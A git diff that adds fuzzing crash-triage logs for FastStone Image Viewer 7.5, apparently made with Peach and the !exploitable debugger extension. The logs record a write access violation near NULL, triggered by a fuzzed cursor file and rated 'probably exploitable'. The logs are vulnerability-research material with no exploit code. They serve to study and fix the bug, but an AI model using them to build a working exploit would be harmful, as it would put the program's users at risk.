+STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..80c8563 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1904: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1904: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74b80000 00000000`74b99000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749e0000 00000000`74b7a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1904.1a2c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.294640000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-4.87589e+011 9.44807e+008 -8.28671e-018 -1.13018e+006 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00256000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00256000 6764dcdd 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00256000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..b12087e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..741847d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x4D0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x4D0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(4d0.480): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=0fd2afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.62612e+025 -1.12466e+035 1.51057e+031 3.80787e-029 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0032a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0032a000 f90a9d53 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6294 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0032a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..741847d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) 